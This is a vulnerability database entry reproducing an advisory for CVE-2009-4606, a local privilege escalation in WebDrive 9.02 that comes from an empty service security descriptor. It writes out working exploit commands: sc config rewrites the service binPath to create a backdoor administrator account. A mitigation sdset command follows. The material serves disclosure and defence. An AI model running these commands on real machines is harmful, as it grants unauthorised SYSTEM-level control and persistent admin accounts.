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Home arrow SecurityAlert Database

Arrow  Topic :

South River Technologies WebDrive Local Elevation Of Privileges


Arrow  SecurityAlert : 6944
Arrow  CVE : CVE-2009-4606
Arrow  CWE : CWE-264
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : No
Arrow  Local Exploit : Yes
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
Arrow  Credit : Nine:Situations:Group::bellick
Arrow  Published : 14.01.2010

Arrow  Affected Software : south_river_technologies:webdrive:9.02:build_2232



Arrow  Advisory Content :  

South River Technologies WebDrive Service Bad Security Descriptor Local
Elevation Of Privileges

by Nine:Situations:Group::bellick

site: http://retrogod.altervista.org/

Software site: http://www.webdrive.com/

Download location: http://www.webdrive.com/download/index.html

Tested against:

South River Technologies WebDrive 9.02 build 2232

on Microsoft Windows XP SP3

The "WebDrive Service" is installed with an empty security descriptor. A
malicious user can

stop the service, then invoke the "sc config" command to replace the binary
path with a value

of choice, then restart the service to run the command with SYSTEM
privileges ex., run theese

commands as a limited user:

sc stop WebDriveService

sc config WebDriveService binPath= "cmd /c net user southriver kills /add
&& net localgroup Administrators southriver /add"

sc start WebDriveService

runas /noprofile /user:%COMPUTERNAME%\southriver cmd

now login as administrator with password "kills"

mitigation:

the security descriptor of the service is like this:

C:\>sc sdshow WebDriveService

D:

change the security descriptor like the following:

c:\sc sdset WebDriveService
D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSD
RCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)

[SC] SetServiceObjectSecurity SUCCESS

original url: http://retrogod.altervista.org/9sg_south_river_priv.html



Arrow  References :

http://xforce.iss.net/xforce/xfdb/53885
http://www.vupen.com/english/advisories/2009/2994
http://www.securityfocus.com/archive/1/archive/1/507323/100/0/threaded
http://secunia.com/advisories/37083
http://retrogod.altervista.org/9sg_south_river_priv.html
http://osvdb.org/59080




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
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